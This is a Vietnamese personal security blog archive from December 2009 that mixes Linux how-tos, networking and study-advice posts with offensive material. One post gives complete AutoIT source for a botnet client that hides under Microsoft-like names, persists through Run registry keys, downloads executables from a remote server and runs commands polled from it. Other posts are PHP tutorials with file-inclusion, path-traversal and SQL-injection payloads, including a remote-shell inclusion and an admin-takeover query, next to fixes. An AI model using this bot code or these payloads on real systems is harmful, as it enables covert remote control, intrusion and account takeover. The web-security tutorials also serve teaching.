Thursday, December 31, 2009

Reverse IP using Bing API

Dựa trên cơ sở đã được trình bày (xem trong video), ta sẽ thiết kế một ứng dụng web sử dụng Bing API để reverse IP với kịch bản:
- Phân giải tên miền thành IP (nếu cần)
- Sử dụng Bing API ID đã cung cấp gởi yêu cầu search các tên miền cùng IP
- Nhận kết quả trả về dạng XML
- Phân tích và lọc các kết quả trả về và xuất kết quả cuối cùng cho người dùng tại trình duyệt web.


Based were presented (see video), we will design a web application using the Bing API to reverse IP, scenario:
-
Resolving the IP of domain name (if necessary)
- Using Bing API ID gave to send searching domains on the same IP query.

- Receiving the returned XML
- Analysising and filtering the results returned and produce the final result to the user in a web browser.



Download video here:
http://www.mediafire.com/download.php?4xmzzw0z3o0

ERC Developing

Bất chợt một hôm moi ERC v3 ra xem xét thì nhận thấy rằng ERC có một sơ hở nghiêm trọng làm mất khả năng bảo vệ mà ERC được thiết kế.

session_start();

$limit = 0; // thoi gian (s) han che giua hai lan truy cap
$delay = 3; // thoi gian (s) phai cho de load trang

$last = ($_SESSION['time'] == NULL) ? 0 : $_SESSION['time'];
$_SESSION['time'] = time();

if ( $limit >= (time() - $last) ) {
 //từ chối phục vụ
}
Rõ ràng nếu client không lưu cookies hoặc session thì ERC v3 vô dụng ...

Vậy nên cần chỉnh sửa đôi chút, ngay lần đầu truy cập sẽ kiểm tra session/cookies ngay, nếu không có thì từ đưa link để client click vào tạo session/cookies và dừng phục vụ tại đó chờ có "vé" (session/cookies) mới phục vụ. Tuy nhiên như vầy đã ổn ?

Tất nhiên là tạm ổn, song nó lại giống DNP hay đại loại các script PHP bảo vệ khác, không trong suốt đối với người dùng !!! Đây là cái đích mà J muốn hướng đến !!

Vậy quay trở lại với giải pháp của ERC v2, J cải tiến nó lên bằng cách mỗi client truy cập vào sẽ được set một ERC log riêng với filename là IP của client đó, và ERC sẽ xử lí riêng từng client thay vì hỗn tạp như v2. Kết quả như sau:

- Trong trường hợp bình thường không bị attack nhiều:
$ban = 1;
$clps = 3; // số yêu cầu tối đa cho phép trong một giây

$in = time()."\n";
$log = fopen('erc-'.$_SERVER['REMOTE_ADDR'].'.log', 'a');    fwrite($log, $in);    fclose($log);
$list = file('erc-'.$_SERVER['REMOTE_ADDR'].'.log', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$last = count($list)- 1;

if($last > $clps) {
    if($list[$last - $clps] != $list[$last]) $ban = 0;
} else $ban = 0;

if($ban) {
 echo 'Access Denied, try again in a few seconds';
}

if($last > 15) unlink('erc-'.$_SERVER['REMOTE_ADDR'].'.log');
$ban = 1;


Trong trường hợp bị tấn công nhiều, nên sử dụng .htaccess:
$ban = 1;
$clps = 3; // số yêu cầu tối đa cho phép trong một giây

$in = time()."\n";
$log = fopen('erc-'.$_SERVER['REMOTE_ADDR'].'.log', 'a');    fwrite($log, $in);    fclose($log);
$list = file('erc-'.$_SERVER['REMOTE_ADDR'].'.log', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$last = count($list)- 1;

if($last > $clps) {
    if($list[$last - $clps] != $list[$last]) $ban = 0;
} else $ban = 0;

if($ban) {
    $in = "Deny from ".$_SERVER['REMOTE_ADDR']."\n";
    $lock = fopen('.htaccess','a');
    fwrite($lock, $in);    fclose($lock);
}

if($last > 15) unlink('erc-'.$_SERVER['REMOTE_ADDR'].'.log');
$ban = 1;

PHP Underground Security - File Inclusion

Code minh hoạ lấy từ PlayHack.Net

---[ 0x01: Global Variables] : Biến toàn cục
Biến trong PHP được tạo ra tự động mà không cần khai báo trước khi dùng, nếu gặp $_var là tự tạo biến.
Xem code :
if ($is_admin == 1) {
 
//Yes, I'm the admin so call the
[...]
 
} else {
 
//No, I'm not the admin
[...]
 
}
Bug : if ($is_admin == 1) ~~> trước đó chưa khởi tạo giá trị ban đầu.
Exploite : http://remote_host/bugged.php?is_admin=1

Fixed Code:
$is_admin = 0;
 
[...]
 
 
if ($is_admin == 1) {
 
//Yes, I'm the admin so call the
[...]
 
} else {
 
//No, I'm not the admin
[...]
 
}


---[ 0x02: File Inclusion]
-----[ Local File Inclusion]
PHP là một ngôn ngữ mạnh và đơn giản ~~> nhận xét của tác giả, Jutoms đồng quan điểm.

Bugged Code:
include "/users/".$include_path.".php";
[...]

Như trên, $include_path chưa được khai báo trước
Exploite :
hxxp://remote_host/bugged.php?include_p ... /passwd
~~> list all user on server

Question??
là gì ? ~~> kí tự Null kết thúc chuỗi gặp là tự hiểu kết thúc chuỗi và bỏ qua các kí tự cuối cùng, chính là bỏ cái đuôi .PHP (include "/users/".$include_path.".PHP")



-----[ Remote File Inclusion]

Code:
[...]
 
include($_GET['pag']);
 
[...]

~~> Vẫn cái bug $pag chưa được khai báo

Exploite :
Remote : http://remote_host/inc.php?pag=[Evil Script - our shell located on our server]
Cái quen thuộc mà ta hay dùng là :
http://remote_host/inc.php?pag=http://host/../shell.php

View files :
http://remote_host/inc.php?pag=/etc/passwd


Fix, how ? Tạo danh sách được chấp nhận (dùng mảng) :
Code:
[...]
 
$pag = $_GET['pag'];
 
$pages = array('index.php', 'alfa.php', 'beta.php', 'gamma.php');
 
if(in_array($pag, $pages)) {
 
include($pag);
 
} else {
 
die("Hacking Attempt!");
 
}
 
[...] 

Gần với File Inclusion, File Traverse cũng không kém phần nguy hiểm.

File Traverse là gì ?
File Traverse hay còn gọi là "dot-dot-slash" nghĩa là "../", lỗi sinh ra như sau:
[...]
 
$fp = fopen("/path/{$_GET['filename']}.txt", 'r');
 
[...]

Như tên gọi dot-dot-slash, ta sử dụng ../ và NULL Byte để truy cập đến các cấp thư mục cao hơn, vd như:
Code:
http://remote_host/path/bug.php?filename=../../../../path_of_another_file/file
http://remote_host/path/bug.php?filename=../../../../etc/passwd


Fix lỗi:
Sử dụng hàm basename() để cắt bỏ phần trước "/" của đường dẫn, nghĩa là
Code:
$path = "/home/httpd/html/index.php";
 
$file = basename($path); // $file is set to "index.php"


Fixed Code:
$clean = array();
 
if (basename($_GET['filename']) == $_GET['filename']){
 
$clean['filename'] = $_GET['filename'];
 
} else {
 
[...]
 
}
 
$fp = fopen("/path/{$clean['filename']}.txt", 'r');

PHP Underground Security - SQL Injection

SQL Injection không còn xa lạ với chúng ta trong những năm trở lại đây, thậm chí nó đã trở nên phổ biến và được rất nhiều người lợi dụng. Thế nhưng SQL Injection là gì ? Tìm lỗi, lợi dụng, vá lỗi như thế nào thì lại là một vấn đề khác, vấn đề mà tôi sẽ đề cập trong chủ đề này.

I. SQL Injection là gì ?
Injection nghĩa là tiêm, nhiễm và với SQL Injection ta có thể chèn (tiêm) thêm truy vấn SQL vào câu truy vấn dựa vào lỗi của ứng dụng web.

II. Các ứng dụng của SQL Injection:
Trước khi đi tìm hiểu sâu vào việc lợi dụng (exploit) thì các bạn cần nhớ vài kí tự quan trọng mà ta sẽ phải dùng khi thực hành.
- dấu nháy đơn ('): dấu này trong ngôn ngữ SQL dùng để "gói" chuỗi. Ta thường thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm tra có lỗi hay không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.
- dấu thăng (#) và dấu (--): các dấu này để đánh dấu chú thích, nghĩa là những kí tự đứng sau một trong hai dấu này trên cùng một dòng sẽ được xem là chú thích được bỏ qua khi thực hiện truy vấn.
- dấu (;): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu một truy vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn.

Và sau đây là các ứng dụng lợi dụng lỗi SQL Injection:

1/ Login Bypassing – đoạt quyền Admin
Xem code PHP của file login.php
$logged = 0;
 
$nick = $_POST['nick'];
$pass = $_POST['pass'];
 
$db = mysql_connect('localhost','user','pass') or die('Error: '. mysql_error());
mysql_select_db("dbname", $link);
 
 
$query = "SELECT * FROM dbname WHERE nick ='".$nick."' AND pass ='" .$pass. "'";

$result = mysql_query($query, $db);
 
if (mysql_num_rows($result) == 0) {
echo "Denied! Your Login is Incorrect";
exit;
}
 
$logged = 1;
 
[...]
 
//EoF
Ta thấy rằng nếu truy vấn không trả về bảng ghi nào tồn tại trong CSDL thì lập tức người dùng sẽ được đưa trở về trang index.html, ngược lại sẽ đăng nhập thành công.

Lưu ý: Ở đây tôi dùng "bản ghi" (record) thay cho "kết quả" cho đúng với bản chất.

Code trên tuy đơn giản nhưng ta thấy rằng chỉ cần làm cho truy vấn có bản ghi trả về thì ta sẽ đăng nhập thành công mà không cần biết Nick hay Pass.

Phần này đòi hỏi người đọc phải biết một tí về câu lệnh Select và điều kiện của mệnh đề Where, kết quả của phép toán OR.

Nếu ta đăng nhập với nick và pass không khớp với một bản ghi trong CSDL thì tất nhiên không có bản ghi nào thoả mãn để được trả về.

Nhưng giả sử ta login với thông tin sau:
$nick = xyz' OR '1' = '1 
$pass = xyz' OR '1' = '1
thì câu truy vấn sẽ trở thành
"SELECT * FROM sql_inj WHERE nick ='xyz' OR '1' = '1' AND pass ='xyz' OR '1' = '1'" 
xyz là một chuỗi gì đó bất kì, quan trọng là phần OR 1 = 1
Câu truy vấn kia sẽ: lựa tất cả các bản ghi nào thoả điều kiện (WHERE) nick = xyz hoặc 1=1 và pass=xyz hoặc 1=1
Mà 1 = 1 là hằng đúng nên dù (nick = xyz) là FALSE thì kết của của (nick = xyz OR 1=1) sẽ là TRUE, tương tự với (pass=xyz hoặc 1=1) cũng sẽ là TRUE, mà (true AND true) = true. (ta có thể xem 0 là FALSE và 1 là TRUE).

Vậy với điều kiện là một hằng đúng thì mọi bản ghi đều thoả rồi, vậy nên trong CSDL có bao nhiêu bản ghi (tương ứng chừng ấy User) sẽ được trả về, và khi đó ...

Ngoài ra ta còn có thể làm ngắn gọn hơn vì chỉ cần nhập
$nick = xyz' OR '1' = '1 #
hoặc
$nick = xyz' OR '1' = '1 --
là được.


2/ Modify database - Thay đổi dữ liệu
Cũng từ VD trên, ta có thể thay đổi password, email của admin bằng cách:
$nick = xyz'; UPDATE users SET email = 'email_của_mình' WHERE nick='admin';#
Sau đó ta chỉ việc forgot pass admin và vào check mail mình là xong. Tương tự cho cách đổi pass admin:
$nick = xyz' UNION UPDATE users SET password = 'pass mới' WHERE nick='admin';#
Ngoài ra còn có rất nhiều cách để lợi dụng như nâng quyền của mình lên Admin, tìm tên CSDL và thậm chí DROP Database.

Đối với phương thức GET thì ta cũng sử dụng tương tự bằng cách đưa tham số lên URL.


III. Cách tìm lỗi:
Qua VD bạn nhận thấy đặc trưng của SQL Injection là gì ? Đó chính là sử dụng dữ liệu được nhập vào trong câu truy vấn mà không qua kiểm tra.

IV. Cách vá lỗi:
1. Mởi php.ini và set magic_quotes_gcp thành On
Nó sẽ chèn "\" trước (') có trong:
-COOKIE
-POST
-GET

2. Sử dụng hàm addslashes() để "gói" chuỗi bằng dấu "/"

3. Sử dụng hàm htmlspecialchars(), mysql_escape_string() ... để mã hoá kí tự đặc biệt trong câu truy vấn

4. Ép kiểu:
- Ta biết id của một đối tượng (user, category, box, product ...) luôn là kiểu số nguyên, vì vậy ta dùng:
$id = (int)$_POST['id'];
hoặc
$id = (int)$_GET['id']; 

hoàn tất :)

Wednesday, December 30, 2009

Seminar about BotNet from Security Club of IT Branch of HCMUS



Download slide here:
http://www.mediafire.com/download.php?it1mjnyrxnm

Source code AutoIT:

- Buzz.au3
#include 
#include 
#NoTrayIcon

; Cau hinh dieu khien
$txt = "http://srv.enhack.net/direc.txt"
$key = ""

; Han che 1 tien trinh
$list = ProcessList(@ScriptName)
For $i = 2 to $list[0][0]
 ProcessClose($list[$i][1])
Next

Update()
Backup()

; Ham cap nhat
Func Update()
 If @ScriptName = "mssl.exe" Then
  If InetGetSize("http://srv.enhack.net/Buzz.exe") <> FileGetSize(@WindowsDir & "\mssl.exe") Then
   Do
    InetGet("http://srv.enhack.net/Buzz.exe", @TempDir & "\Buzz.exe", 1)
   Until InetGetSize("http://srv.enhack.net/Buzz.exe") = FileGetSize(@TempDir & "\Buzz.exe")
   Run(@TempDir & "\Buzz.exe", "", @SW_HIDE)
  EndIf
 EndIf
EndFunc

; Kiem tra du phong
Func Backup()
 If Not FileExists(@WindowsDir & "\bkd.exe") Then
  Do
   InetGet("http://srv.enhack.net/bkd.exe", @WindowsDir & "\bkd.exe", 1)
  Until InetGetSize("http://srv.enhack.net/bkd.exe") = FileGetSize(@WindowsDir& "\bkd.exe")
 EndIf

 If Not ProcessExists("mssld.exe") Then
  Run("bkd", "", @SW_HIDE)
 EndIf
EndFunc
 
; Lay nhiem vao he thong
If @ScriptName <> "mssl.exe" Then
 If ProcessExists("mssl.exe") Then ProcessClose("mssl.exe")
 FileCopy (@ScriptFullPath, @WindowsDir & "\mssl.exe", 1)
 Run("mssl", "", @SW_HIDE)
Else
 $list = ProcessList("Buzz.exe")
 For $i = 1 to $list[0][0]
  ProcessClose($list[$i][1])
 Next
 If FileExists(@TempDir & "\Buzz.exe") Then FileDelete(@TempDir & "\Buzz.exe")
EndIf
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Microsoft Silverlight", "REG_SZ", @WindowsDir & "\mssl.exe")


; Chuong trinh chinh
While (1)
 $con = _INetGetSource($txt)
 If $key <> $con Then
 ; Phan tich va thuc hien lenh
  If StringInStr($con, "#", 2) Then
   $cmd = StringSplit($con, "#")
   If StringInStr($con, "@#", 2) Then
    Run($cmd[2], "", @SW_HIDE)
   Else
    Run($cmd[2])
   EndIf
  
  ElseIf StringInStr($con, ">", 2) Then
   $cmd = StringSplit($con, ">")
   _RunDOS($cmd[2])
  
  ElseIf StringInStr($con, "!", 2) Then
   $cmd = StringSplit($con, " ")
   InetGet ($cmd[2], $cmd[3], 1)
  
  ElseIf StringInStr($con, "~", 2) Then
   $cmd = StringSplit($con, "~")
   If StringInStr($cmd[2], ".exe", 2) Then
    $list = ProcessList($cmd[2])
   Else
    $list = ProcessList($cmd[2] & ".exe")
   EndIf 
   
   For $i = 1 to $list[0][0]
    ProcessClose($list[$i][1])
   Next
  
  ElseIf StringInStr($con, "^", 2) Then
   Update()
   
  ElseIf StringInStr($con, "$", 2) Then
   Backup()

  EndIf
  $key = $con
 EndIf
 Sleep(5000)
WEnd 


- bkd.au3
#include 
#include 
#NoTrayIcon


FileCopy (@ScriptFullPath, @WindowsDir & "\bkd.exe", 1)
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Microsoft Backup Daemon", "REG_SZ", @WindowsDir & "\bkd.exe")

While(1)
 If Not FileExists(@WindowsDir & "\mssl.exe") Then
  Do
   InetGet("http://srv.enhack.net/Buzz.exe", @WindowsDir & "\mssl.exe", 1)
  Until InetGetSize("http://srv.enhack.net/Buzz.exe") = FileGetSize(@WindowsDir& "\mssl.exe")
 EndIf

 If Not ProcessExists("mssl.exe") Then
  Run("mssl", "", @SW_HIDE)
 EndIf
 Sleep(5000)
WEnd

Demo video is coming soon !

Hiren BootCD all version

Go to http://www.hirensbootcd.net/, choose what version you want (the newest at this time is 10.1 - I'm downloading now ^^).
When finished, burn to CD or make a Bootable USB Drive !
Read "how to" at http://www.hiren.info/
Have fun !!

Tuesday, December 29, 2009

Những ngày tập đi - Kì IV

Hãy chắc chắn rằng các bạn đã sẵn sàng cho việc tự tìm hiểu, giờ hãy bắt đầu đi vào phần chính của "study case.

Trước mắt ta cần phải tìm hiểu về kĩ năng quản trị, cụ thể bao gồm:
1. Kĩ năng quản trị và sử dụng CSDL (MySQL, MSSQL ...)
2. Một khả năng lập trình (yêu cầu đọc hiểu tư duy trong code và viết được script đơn giản)
3. Kiến thức về hệ điều hành (yêu cầu sử dụng thành thạo, biết xem log hệ thống và phân tích nguyên nhân lỗi từ log)
4. Kiến thức về mạng căn bản: giao thức là gì và sự khác nhau giữa các giao thức
5. Kiến thức về mã hóa, chứng thực và bảo mật: phân biệt được encode, encrypt và hash; session và cookies..

Về việc tìm hiểu một vấn đề, thay vì đi google, search hỏi linh tinh thì nếu có điều kiện, nên đi nhà sách tìm mua một cuốn sách phù hợp và ngâm cứu nó, không nên mua những cuốn nặng quá về học thuật vì nó khó tiếp cận đối với người chưa có kinh nghiệm.

Đơn cử VD với SQL, bạn nên chọn cuốn này:
http://www.vinabook.com/tu-hoc-sql-hay-danh-10-phut-moi-ngay-ban-se-thanh-cong-voi-sql-m11i12878.html
hoặc cũng có thể xem thêm các cuốn chuyên đề mỏng mỏng như báo (7 - 8k/cuốn)
http://www.vinabook.com/lam-quen-voi-sql-server-2000-m11i24190.html

Sự khác biệt về sách in, ebook và các bài viết trên mạng:
1. Sách là tài liệu đầy đủ nhất
2. Sách in có thể đọc ở mọi nơi, bạn có thể mang vào WC đọc để giết thời gian trong khi ebook có thể làm bạn đau mắt (J rất hiếm khi đọc ebook, chỉ mở ebook để tìm và đọc nhanh một đoạn cần đọc). J mỗi ngày làm việc với máy tính tầm 8 - 14 tiếng, mắt vẫn 10/10.
3. Các bài viết trên các blog, forum tuy không đầy đủ nhưng nó lại rất có ích vì hoặc là nó cung cấp cái nhìn tổng quát (tổng quan, dễ hiểu) hoặc cung cấp một khía cạnh đặc biệt (chuyên sâu, học thuật) mà sách có thể thiếu hoặc nói không chi tiết.

Các thể loại học nhanh, đơn giản như vậy tuy không làm bạn trở thành chuyên gia nhưng nó trang bị cho bạn một lượng kiến thức nền tảng, từ đó bạn có điều kiện tốt để tự nâng cấp mình.

Bắt đầu từ bài viết này, các bạn có thắc mắc có thể gởi lên đây, tuy nhiên những reply/comment nhằm chuyển hướng topic mình sẽ move vào sọt mà không cần báo trước

Chúc các bạn thành công !

Saturday, December 26, 2009

Sài Gòn đêm trở lạnh

Đêm nay nghĩ là đường sẽ thoáng, sức khoẻ cũng khá ổn nên vác xe đi dạo tranh thủ chút dư vị giáng sinh còn sót lại. Sài Gòn đêm nay trời trở lạnh, nhiều cảm xúc, lạnh trong này, lạnh ngoài đó, biết rằng lạnh nhưng không biết phải làm sao ... ??!! Anh xin lỗi, đừng giận anh em nhé !!

Friday, December 25, 2009

Những ngày tập đi - Kì III

Các bạn ít kinh nghiệm đã bao giờ xem tut và tự hỏi vì lại thế này mà không phải thế khác chưa ?

- Nếu bạn chỉ xem và sau đó thử nghiệm ở đâu đó, và bạn không "may mắn" như tác giả trong tut, bạn sẽ gãi tai tự hỏi "sao dầy ta" và xem lại tut lần nữa xem có sót gì không, thì bạn chẳng bao giờ vượt lên khỏi cái trán của mình.
- Nếu bạn hỏi, bạn đã bắt đầu nắm bắt được vấn đề.
- Nếu bạn hỏi đúng chỗ mấu chốt, bạn đã bắt được mạch của bài tut.
- Và nếu bạn hỏi rằng biến tấu thế này có tác dụng hay không, chúc mừng bạn đã nắm được tư duy cốt yếu trong việc exploiting.

Tất nhiên biến tấu không phải để ra oai mà dùng đao to búa lớn, mà hãy biến tấu sao cho đơn giản mà hiệu quả. Đại loại như thay vì vào site whois để xem IP một domain thì nên Ping một quả sẽ tiện hơn

Vậy đó các bạn à, việc biến tấu là một trường hợp trong những trường hợp "tư duy ngược" trong exploiting (J tạm gọi là vậy), điều này sẽ đưa bạn quay trở lại với bài post thứ 2, tìm hiểu khái niệm và vận dụng để tự trả lời cho các câu hỏi chính bạn đặt ra (khi xem tut chẳng hạn).

J muốn đề cập không phải vẻn vẹn trong việc xem tut, mà rộng hơn khi đọc tài liệu, đọc các exploit trên milw0rm chẳng hạn ...

Điều này có thể sẽ khiến nhiều bạn nãn chí, vì sao thì các bạn cũng biết rồi. Nhưng không có con đường thành công nào dễ đi cả, nếu bạn cảm thấy đường bằng phẳng dễ đi ... có thể ... bạn đang lạc đường

Khả năng tư duy ngược theo J nghĩ mọi hacker (Security researcher, Administrator) đều cần có. Chúc các bạn thành công

Wednesday, December 23, 2009

Những ngày tập đi - Kì II

J từng gặp, từng chat với nhiều bạn trẻ (tất nhiên trẻ bồng bột) tự xưng hacker và tuyên bố là sẽ hack các website mà J chịu trách nhiệm an ninh (website trường cấp 3 thui). Qua cách dùng từ, sự ngộ nhận trong lời nói của bạn ấy thể hiện một sự khiếm khuyết rất lớn về các khái niệm lẫn nhận thức.

Song dựa trên những nhận thức đó, nếu giả như những cái bạn ấy nghĩ là đúng thì phương hướng triển khai tấn công là khá hợp lí, song để họ nhận ra họ đang ngộ nhận là không dễ.

Trong tin học, máy học, chỉ có đúng sai, và trong bảo mật, hack chuyện đúng sai lại có một ý nghĩa rất quan trọng, không phải tôi nghĩ thế mà nó thế, thực tế nó lại khác, khác xa lắm lận !

Vậy bước J muốn đề cập đầu tiên trong những bước tập đi đó là những khái niệm, ta nên nắm rõ những khái niệm, điều này hoàn toàn đơn giản bởi khái niệm là một quy ước ta dùng để chỉ, phan biệt một sự vật hiện tượng với các sự vật hiện tượng khác. Cũng như bạn học khái niệm vi phân, đạo hàm, tích phân vậy, nó chỉ là quy ước và ai cũng có thể nắm (tuy có khó khăn để học về nó).

Các khái niệm sẽ đi theo kiểu đệ quy, nghĩa là khi tìm hiểu về vấn đề A nảy sinh các khái niệm mới T, U, V .. và khi tìm hiểu khái niệm T lại sinh ra các khái niệm con là X, Y, Z .. thì hãy cố gắng đi đến ngọn X, Y, Z và sau sau khi đi xong ta sẽ đi tiếp khái niệm U và cứ thế ... đừng đốt cháy giai đoạn, nếu đốt quen tay sẽ thành script kid đấy !

VD đơn cử: "Làm thế nào để khai thác lỗi SQL Injection" sẽ dẫn ta đến các khái niệm sau:
- SQL là ngôn ngữ truy vấn có cấu trúc
-> Những hệ quản trị cơ sở dữ liệu, HQT CSDL hỗ trợ SQL (thông dụng, cách cài đặt một trong số những HQT CSDL đó để thực hành cho hiểu thực tế).
-> Vì sao có lỗi SQL Injection -> Lỗi lập trình -> Cần tư duy lập trình để có thể hiểu được logic của truy vấn.

Khi đã hiểu được những khái niệm SQL, CSDL, HQT CSDL ... và cách vận hành rồi thì vận dụng và đi vào thực hành !

Vì vậy khái niệm rất quan trọng, nó làm chúng ta nhận thức đúng đắn về thực tế của vấn đề, không ảo tưởng, và khi tham gia thảo luận về vấn đề đó ta cũng có thể thảo luận sôi nổi chứ không câm nín nghe anh em ... chém :P!

Biết người biết ta, trăm trận trăm thắng ! >:D<

Giáng sinh vui vẻ ^^

Những ngày tập đi - Kì I

Dẫn nhập:
Trong số chúng ta ở đây, những người đang đọc bài viết này của J hẳn không ít lần băn khoăn với câu hỏi: "Làm thế nào để trở thành hacker", "Để trở thành hacker, nên bắt đầu từ đâu?", ... đại loại thế

Tâm sự cùng anh em:
- Thời còn học phổ thông, J từng đi tìm câu trả lời cho câu hỏi "Hacker, họ là ai ?" qua những bài báo, những bài viết trên mạng, cả trong nước lẫn hải ngoại. Và rất nhiều định nghĩa, rất nhiều chuẩn mực và hơn hết nhiều ý kiến cho rằng: "Hacker không phải là tự xưng mà trái lại, Hacker là từ để cộng đồng dành tặng cho ai đó với sự kính trọng vì những đóng góp của anh ta đối với cộng đồng", J tán đồng !!

Điều đó để trở thành hacker có nghĩa là bạn phải làm cho cộng đồng thừa nhận bạn, là một điều rất khó, nhưng khó vẫn không phải là không thể !

Để trở thành một hacker, bạn cần trang bị những kiến thức gì ? Nói cách khác, là những kiến thức căn bản để trở thành một hacker.

Sau một quá trình học tập và đúc kết kinh nghiệm, J viết lại những gì mà J cho là cần thiết để có thể tự phát triển mình bằng việc nghiên cứu, suy luận và sáng tạo. Khi các bạn đang đọc những dòng này là các bạn đã may mắn hơn J ngày đó bởi ít nhất các bạn có một định hướng rõ ràng, kiến thức được hệ thống hoá, một study case trong khi ngày đó J chả có gì ngoài 2 cái đĩa CD, một là CD Viethacker và một CD Hacker của nước ngoài (tình cờ lúc mua đĩa game vớ phải hai cái đĩa này ).

Thoả thuận trước khi đọc tiếp:
1. Những gì sắp trình bày là hoàn toàn trên quan điểm của J, nếu bạn có quan điểm khác, vui lòng mở topic khác, không reply và không comment
2. Những gì sắp trình bày sẽ được trình bày vắn tắt để các bạn có thể hình dung sơ bộ và có thể tự tìm hiểu thêm, có thể mở topic riêng để thảo luận nếu cần thiết.
3. Và cuối cùng, ghi rõ nguồn khi đăng tải nội dung trong topic này ở nơi khác.

Thân !
Jutoms

Monday, December 21, 2009

Gateway và vai trò trong công tác Routing

Khi các bạn cấu hình IP cho một kết nối sẽ gồm có:
- IP address
- Subnet mask
- Default Gateway
- DNS Sever

Bản thân J ban đầu học về mạng căn bản cũng băn khoăn chỗ này: Tất cả đều khá rõ chức năng của nó trừ Default Gateway. Vậy thì nó để làm gì ?

Trước tiên J trình bày sơ về routing (định tuyến):
- Mọi gói tin muốn đi đến đích thì đều cần một đường đi xác định.
- Đường đi đó do router quyết định và đường đi sẽ bao gồm bao nhiêu "trạm" (hop)
- Nếu bạn dùng ADSL và để DHCP của router cấp IP cho bạn thì Gateway thường là Router đó.

Vậy Gateway khi nào được sử dụng ?
- Nếu cùng một đường mạng nghĩa là cùng Network Address (xác định bởi subnet mask) thì các máy gởi thông tin cho nhau không cần thông qua gateway. Đây là trường hợp trong một LAN.
- Nếu khác subnet thì lúc này địa chỉ này nằm ngoài phạm vi "nhìn thấy" của máy tính, vì thế nó sẽ gởi đến "cửa khẩu biên giới" là Gateway (là Router) là router này sẽ có trách nhiệm liên hệ các router khác để xác định đường đi cho gói tin đó.

Bài tập về nhà không bắt buộc: tìm hiểu về việc chia subnet (chia mạng). Từ khoá tham khảo: IP subnetting.

Jutoms

Tuesday, December 8, 2009

Add-ons for KDE Plasma



After install this add-ons, you will have more widgets to use with KDE Plasma such as Show Desktop, Weather, Desktop sticky notes ...

To install KDE Plasma Add-ons, just simple:
# yum install kdeplasma-addons

How to install Sun VirtualBox on Linux Host



First go to this URL to download the RPM package to install VirtualBox
http://www.virtualbox.org/wiki/Linux_Downloads
Then use this command to install:
# rpm -ivh VirtualBox-xxxxxxxxxxxxx.rpm
Where xxxx is depend on version, arch ...


If you wanna use "yum" to install, just simple download virtualbox.repo to /etc/yum.repos.d/ :

Fedora:
http://download.virtualbox.org/virtualbox/rpm/fedora/virtualbox.repo

RHEL:
http://download.virtualbox.org/virtualbox/rpm/rhel/virtualbox.repo

Then:
# yum install VirtualBox

Sunday, December 6, 2009

Multi Monitor for Laptop with Fedora 12

Just very simple:
# xrandr --auto
Then now go to System Settings --> Display to config resolution for the external monitor or projector :)

Good luck :D